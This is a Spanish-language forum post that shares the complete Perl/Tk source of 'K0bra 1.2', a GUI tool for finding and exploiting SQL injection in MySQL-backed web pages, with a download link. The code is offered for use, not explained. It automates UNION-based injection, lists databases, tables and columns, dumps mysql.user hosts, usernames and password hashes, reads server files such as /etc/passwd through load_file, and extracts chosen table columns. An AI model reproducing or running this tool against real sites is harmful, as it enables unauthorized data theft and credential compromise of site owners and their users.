Esta es la nueva version de mi scanner SQLi en el cual le mejore el diseño y arregle algunas fallas en el script

Una imagen seria

Imagen


Código: Seleccionar todo

#!usr/bin/perl
#K0bra 1.2 (C) Doddy Hackman 2011

use Tk;
use Tk::ROText;
use Tk::PNG;
use LWP::UserAgent;
use URI::Split qw(uri_split);

my $bypass = "--";
my $save = "";

installer();

if ($^O eq 'MSWin32') {
use Win32::Console; 
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

my $logo = MainWindow->new(-background=>"black",-foreground=>"green");
$logo->title("K0bra 1.2 (C) Doddy Hackman 2011");
$logo->geometry("500x800+20+20");
$logo->resizable(0,0);

my $tomaboludo = $logo->Photo(-file => "mirar.png");
$logo->Label(-background=>"black",-image =>$tomaboludo,-borderwidth=>0)->place(-y=>20,-x=>40);   

#
$logo->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>25,-y=>260);
my $targetero = $logo->Entry(-width=>50,-text=>"http://127.0.0.1/sql.php?id=1",-background=>"black",-foreground=>"green")->place(-y=>263,-x=>90);
$logo->Button(-text=>"Scan",-width=>10,-command=>\&start,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>260,-x=>400);
#

$logo->Label(-text=>"Options",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>210,-y=>320);

$logo->Button(-text=>"Get DBS",-width=>10,-command=>\&getdbs,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>40);
$logo->Button(-text=>"Get Tables",-width=>10,-command=>\&schematablesdb,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>120);
$logo->Button(-text=>"Get Columns",-width=>10,-command=>\&schemacolumnsdb,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>200);
$logo->Button(-text=>"mysql users",-width=>15,-command=>\&mynow,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>280);
$logo->Button(-text=>"load_file",-width=>10,-command=>\&myfile,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>363,-x=>390);

$logo->Button(-text=>"Dump",-width=>10,-command=>\&dum,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>90);
$logo->Button(-text=>"Hex",-width=>10,-command=>\&per1,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>170);
$logo->Button(-text=>"ASCII",-width=>15,-command=>\&per2,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>250);
$logo->Button(-text=>"Show Logs",-width=>10,-command=>\&china,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>400,-x=>360);

#

$logo->Label(-text=>"Details : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>500,-x=>90);

my $informatero = $logo->Listbox(-height=>5,-width=>40,-background=>"black",-foreground=>"green")->place(-y=>480,-x=>160);

#

$logo->Label(-text=>"Databases",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>590,-x=>60);
$logo->Label(-text=>"Tables",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>590,-x=>190);
$logo->Label(-text=>"Columns",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>590,-x=>330);

my $datero = $logo->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>630,-x=>40);
my $tablero = $logo->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>630,-x=>180);
my $columnero = $logo->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>630,-x=>320);

#


MainLoop;

sub start {
msg("K0bra 1.2","Scan Started");
$informatero->delete("0.0","end");
$datero->delete("0.0","end");
$tablero->delete("0.0","end");
$columnero->delete("0.0","end");

my $tengo = $targetero->get;

my ($gen,$save,$control) = &length($tengo,"--");
if ($control eq 1) {
$logo->update;
$targetero->configure(-text=>$gen);
details($gen,$bypass,$save);
} else {
msg("K0bra 1.2","Not found length columns");
}
msg("K0bra 1.2","Scan Finished"); 
}

sub length {
my $rows  = "0";
my $asc;
my $page = $_[0];
($pass1,$pass2) = &bypass($_[1]);
$inyection = $page.$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
$code = toma($inyection);
$logo->update;

if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {

$logo->update;

my $testar1 = toma($page.$pass1."and".$pass1."1=0".$pass2);
my $testar2 = toma($page.$pass1."and".$pass1."1=1".$pass2);

unless ($testar1 eq $testar2) {
my $patha = $1;
$logo->update;
chomp $patha;
$alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
$total = "1";
for my $rows(2..200) {
$logo->update;
$asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")"; 
$total.= ",".$rows;
$injection = $page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
$test = toma($injection);
if ($test=~/RATSXPDOWN/) {
@number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
$control = 1;
my $save = comer($_[0]);
savefile($save.".txt","\n[Target confirmed] : $page");
savefile($save.".txt","[Bypass] : $_[1]\n");
savefile($save.".txt","[Limit] : The site has $rows columns");
savefile($save.".txt","[Data] : The number @number print data");
$informatero->insert("end","[+] The site has $rows columns");
$informatero->insert("end","[+] The number @number print data");
if ($patha) {
savefile($save.".txt","[Full Path Discloure] : $patha");
}
$total=~s/$number[0]/hackman/;
savefile($save.".txt","[SQLI] : ".$page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
return($page.$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
}
}
}
} else {
msg("K0bra 1.2","Not vulnerable");
next;
}
}

sub details {
my ($page,$bypass,$save) = @_;
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","\n");
if ($page=~/(.*)hackman(.*)/ig) {
my  ($start,$end) = ($1,$2);
$inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
$mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
$test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
$test1 = toma($inforschema);
$test2 = toma($mysqluser);
$informatero->insert("end","");
if ($test2=~/ERTOR854/ig) {
savefile($save.".txt","[mysql.user] : ON");
$informatero->insert("end","[mysql.user] : ON");
} else {
$informatero->insert("end","[mysql.user] : OFF");
savefile($save.".txt","[mysql.user] : OFF");
}
if ($test1=~/ERTOR854/ig) {
$informatero->insert("end","[information_schema.tables] : ON");
savefile($save.".txt","[information_schema.tables] : ON");
} else {
$informatero->insert("end","[information_schema.tables] : OFF");
savefile($save.".txt","[information_schema.tables] : OFF");
}
if ($test3=~/ERTOR854/ig) {
$informatero->insert("end","[load_file] : ON");
savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
}
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))"; 
$injection = $start.$concat.$end.$pass2;
$code = toma($injection);
if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
$informatero->insert("end","");
$informatero->insert("end","[+] DB Version : $1");
$informatero->insert("end","[+] DB Name : $2");
$informatero->insert("end","[+] user_name : $3");
savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
} else {
msg("K0bra 1.2","Not Found DB Info");
}
}
}


sub getdbs {
$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
my $page1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
$page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code = toma($page.$pass1."from".$pass1."information_schema.schemata");
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $limita = $1;
$logo->update;
savefile($save.".txt","[+] Databases Length : $limita\n");
$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$real = "1";
for my $limit(0..$limita) {
$logo->update;
$code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $control = $1;
if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
$datero->insert("end",$control);
savefile($save.".txt","[Database $real Found] : $control");
$real++;
}
}
}
} else {
msg("K0bra 1.2","information_schema not found");
}
}


sub schematablesdb {

$tablero->delete("0.0","end");

my $page = $targetero->get;

my $save = comer($page);

$d = $datero->curselection();

for my $id (@$d) {
my $db = $datero->get($id);

my $page1 = $page;
savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","[DB] : $db");
$page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
#print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {  
$logo->update;
savefile($save.".txt","[+] Tables Length :  $1\n");
my $limit = $1;
$real = "1";
for my $lim(0..$limit) {
$logo->update;
$code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
#print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
my $table = $1;
chomp $table;
savefile($save.".txt","[Table $real Found : $table ]");
$tablero->insert("end",$db.".".$table);
$real++;
}}
} else {
msg("K0bra 1.2","information_schema not found");
}}}

sub schemacolumnsdb {

$columnero->delete("0.0","end");

my $page = $targetero->get;
my $save = comer($page);

$d = $tablero->curselection();

for my $id (@$d) {
my $da = $tablero->get($id);

if ($da=~/(.*)\.(.*)/) {
my ($db,$table) = ($1,$2);

my $page3 = $page;
my $page4 = $page;

savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
savefile($save.".txt","\n[DB] : $db");
savefile($save.".txt","[Table] : $table");
$page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
savefile($save.".txt","[Columns length : $1 ]\n");
my $si = $1;
chomp $si;
$page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
$real = "1";
for my $limit2(0..$si) {
$code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
$columnero->insert("end",$1);
savefile($save.".txt","[Column $real] : $1");
$real++;
}
}
} else {
msg("K0bra 1.2","information_schema not found");
}
}
}
}

sub mynow {

my $p = $targetero->get;

$mi = MainWindow->new(-background=>"black",-foreground=>"green");
$mi->title("Mysql Extractor");
$mi->geometry("500x300+20+20");
$mi->resizable(0,0);

$mi->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>50,-y=>20);
my $guix = $mi->Entry(-width=>40,-text=>$p,-background=>"black",-foreground=>"green")->place(-y=>23,-x=>110);
$mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax,-background=>"black",-foreground=>"green",-activebackground=>"green")->place(-y=>20,-x=>360);

$mi->Label(-text=>"Host",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>60,-y=>90);
$mi->Label(-text=>"User",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>200,-y=>90);
$mi->Label(-text=>"Password",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>360,-y=>90);

my $hostero = $mi->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>130,-x=>40);
my $usero = $mi->Listbox(-width=>23,-background=>"black",-foreground=>"green")->place(-y=>130,-x=>180);
my $pasero = $mi->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>130,-x=>340);


sub tengorax {

my $page = $guix->get;
my $save = comer($page);

my $cop = $page;
my $cop1 = $page;
savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);
$page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
$code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
if ($code=~/RATSXPDOWN/ig){
$cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
$code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
$mi->update;
savefile($save.".txt","\n[+] Users mysql Found : $1\n");
for my $limit(0..$1) {
$mi->update; 
$cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
$code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
$mi->update;
$hostero->insert("end",$1);
$usero->insert("end",$2);
$pasero->insert("end",$3);
savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
} else {
last;
}}}
} else {
msg("K0bra 1.2","mysql.user not found");
}
}
}

sub myfile {

my $pag = $targetero->get;

$loa = MainWindow->new(-background=>"black",-foreground=>"green");
$loa->title("load_file helper");
$loa->geometry("380x410+20+20");
$loa->resizable(0,0);

$loa->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>20,-y=>20);
my $aa = $loa->Entry(-width=>40,-text=>$pag,-background=>"black",-foreground=>"green")->place(-y=>23,-x=>80);
$loa->Label(-text=>"File : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>60,-x=>23);
my $tea = $loa->Entry(-width=>20,-text=>"C:/xampp/htdocs/aca.txt",-background=>"black",-foreground=>"green")->place(-y=>63,-x=>63);
$loa->Button(-text=>"Encode",-width=>8,-command=>\&eno,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>62,-x=>200);
$loa->Button(-text=>"Show",-width=>8,-command=>\&ena,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>62,-x=>263);

$loa->Label(-text=>"Output",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>160,-y=>130);
my $mo = $loa->ROText(-width=>45,-height=>15,-background=>"black",-foreground=>"green")->place(-y=>170,-x=>25);

sub eno {
my $t = $tea->get;
if ($t=~/0x/) {
$tea->configure(-text=>decode($t));
} else {
$tea->configure(-text=>encode($t));
}
}

sub ena {

$mo->delete("0.0","end");

my $page = $aa->get;
my $save = comer($page);

savefile($save.".txt","\n");
($pass1,$pass2) = &bypass($bypass);
if ($page =~/(.*)hackman(.*)/g) {
my $start = $1; my $end = $2;
my $file = $tea->get;
chomp $file;
$concat = "unhex(hex(concat(char(107,48,98,114,97),load_file(".$file."),char(107,48,98,114,97))))";
my $code = toma($start.$concat.$end.$pass2);
chomp $code;

if ($code=~/k0bra(.*)k0bra/s) {
my $word = $1;
$mo->insert("end",$word);
savefile($save.".txt","[File Found] : $file");
savefile($save.".txt","\n[Source Start]\n");
savefile($save.".txt","$word");
savefile($save.".txt","\n[Source End]\n");
} else {
msg("K0bra 1.2","Error");
}}}}

sub dum {

my $pa = $targetero->get;

$max = MainWindow->new(-background=>"black",-foreground=>"green");
$max->title("Dump Values");
$max->geometry("480x380+20+20");
$max->resizable(0,0);

$max->Label(-text=>"Target : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>50,-y=>20);
my $tata = $max->Entry(-width=>40,-text=>$pa,-background=>"black",-foreground=>"green")->place(-y=>23,-x=>110);

$max->Label(-text=>"Table : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>50,-y=>60);
my $tato = $max->Entry(-width=>20,-background=>"black",-foreground=>"green")->place(-x=>105,-y=>63);

$max->Label(-text=>"Column1 : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>90,-x=>50);
my $tatu = $max->Entry(-width=>20,-background=>"black",-foreground=>"green")->place(-x=>130,-y=>93);

$max->Label(-text=>"Column2 : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-y=>130,-x=>50);
my $tita= $max->Entry(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>133,-x=>130);


$max->Button(-width=>10,-text=>"Extract",-command=>\&tengor,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>360);

$max->Label(-text=>"Column1",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>100,-y=>180);
$max->Label(-text=>"Column2",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>300,-y=>180);

my $duta1 = $max->Listbox(-width=>20,-background=>"black",-foreground=>"green")->place(-y=>210,-x=>70);
my $duta2 = $max->Listbox(-width=>23,-background=>"black",-foreground=>"green")->place(-y=>210,-x=>260);


sub tengor {

$duta1->delete("0.0","end");
$duta2->delete("0.0","end");

my $page = $tata->get;
my $tabla = $tato->get;
my $col1 = $tatu->get;
my $col2 = $tita->get;

my $save = comer($page);

savefile($save.".txt","\n");

($pass1,$pass2) = &bypass($bypass);
if ($page=~/(.*)hackman(.*)/){ 
my $start = $1;
my $end = $2;
$concatx = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),count($col1),char(69,82,84,79,82,56,53,52))))";
$val_code = toma($start.$concatx.$end.$pass1."from".$pass1.$tabla.$pass2);
$concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),$col1,char(69,82,84,79,82,56,53,52),$col2,char(69,82,84,79,82,56,53,52))))";
if ($val_code=~/ERTOR854(.*)ERTOR854/ig) {
$tota = $1; 
savefile($save.".txt","[Table] : $tabla");
savefile($save.".txt","[+] Length of the rows: $tota\n");
savefile($save.".txt","[$col1] [$col2]\n");
for my $limit(0..$tota) { 
chomp $limit;
$injection = toma($start.$concat.$end.$pass1."from".$pass1.$tabla.$pass1."limit".$pass1.$limit.",1".$pass2);
if ($injection=~/ERTOR854(.*)ERTOR854(.*)ERTOR854/ig) {
savefile($save.".txt","[$col1] : $1   [$col2] : $2");
$duta1->insert("end",$1);
$duta2->insert("end",$2);
} else {
last;
}}
} else {
msg("K0bra 1.2","Error");
}}}}

sub per1 {

my $he = MainWindow->new(-background=>"black",-foreground=>"green");
$he->title("Hex Converter (C) Doddy Hackman 2011");
$he->geometry("420x70+20+20");
$he->resizable(0,0);
$he->Label(-text=>"Text : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>20,-y=>20);
my $cam = $he->Entry(-width=>30,-background=>"black",-foreground=>"green")->place(-y=>24,-x=>65);
$he->Button(-text=>"Encode",-width=>10,-command=>\&paso1,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>255);
$he->Button(-text=>"Decode",-width=>10,-command=>\&paso2,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>325);

sub paso1 {

my $caca = $cam->get();
chomp $caca;

$cam->configure(-text=>encode($caca));

}

sub paso2 {

my $caca = $cam->get();
chomp $caca;

$cam->configure(-text=>decode($caca));

}
}


sub per2 {

my $hexae = MainWindow->new(-background=>"black",-foreground=>"green");
$hexae->title("Ascii Converter (C) Doddy Hackman 2011");
$hexae->geometry("420x70+20+20");
$hexae->resizable(0,0);
$hexae->Label(-text=>"Text : ",-font=>"Impact1",-background=>"black",-foreground=>"green")->place(-x=>20,-y=>20);
my $cama = $hexae->Entry(-width=>30,-background=>"black",-foreground=>"green")->place(-y=>24,-x=>65);
$hexae->Button(-text=>"Encode",-width=>10,-command=>\&paso3,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>255);
$hexae->Button(-text=>"Decode",-width=>10,-command=>\&paso4,-activebackground=>"green",-background=>"black",-foreground=>"green")->place(-y=>20,-x=>325);


sub paso3 {

my $caca = $cama->get();
chomp $caca;

$cama->configure(-text=>ascii($caca));

}

sub paso4 {

my $caca = $cama->get();
chomp $caca;

$cama->configure(-text=>ascii_de($caca));

}

}

sub china {
my $de = $targetero->get;
my $save = comer($de);
my $file = $save.".txt";
system("start logs/webs/$file");
}

sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}

sub ascii {
return join ',',unpack "U*",$_[0]; 
}

sub ascii_de {
$_[0] = join q[], map { chr } split q[,],$_[0];
return $_[0];
}


sub encode {
my $string = $_[0];
$hex = '0x';
for (split //,$string) {
$hex .= sprintf "%x", ord;
}
return $hex;
}

sub decode {
$_[0] =~ s/^0x//;
$encode = join q[], map { chr hex } $_[0] =~ /../g;
return $encode;
}


sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/webs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE; 
}

sub comer {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}

sub installer {
unless (-d "/logs/webs") {
mkdir("logs/",777);
mkdir("logs/webs/",777);
}
}

sub msg { 

my $color_fondo = "black"; #white
my $color_letra = "green"; #black

my ($titulo,$contenido) = @_;

my $mensaje = MainWindow->new(-background=>$color_fondo,-foreground=>$color_letra);
$mensaje->title($titulo);
$mensaje->geometry("200x50+20+20");
$mensaje->resizable(0,0);
$mensaje->Label(-text=>$contenido,-font=>"Impact1",-background=>$color_fondo,-foreground=>$color_letra)->place(-y=>15,-x=>20);

MainLoop;

}

# ¿ The End ?
Para bajar el script con el logo lo pueden hacer de aca

Código: Seleccionar todo

http://doddyhackman.webcindario.com/descargas/k0bra12.rar
Responder

Volver a “Fuentes”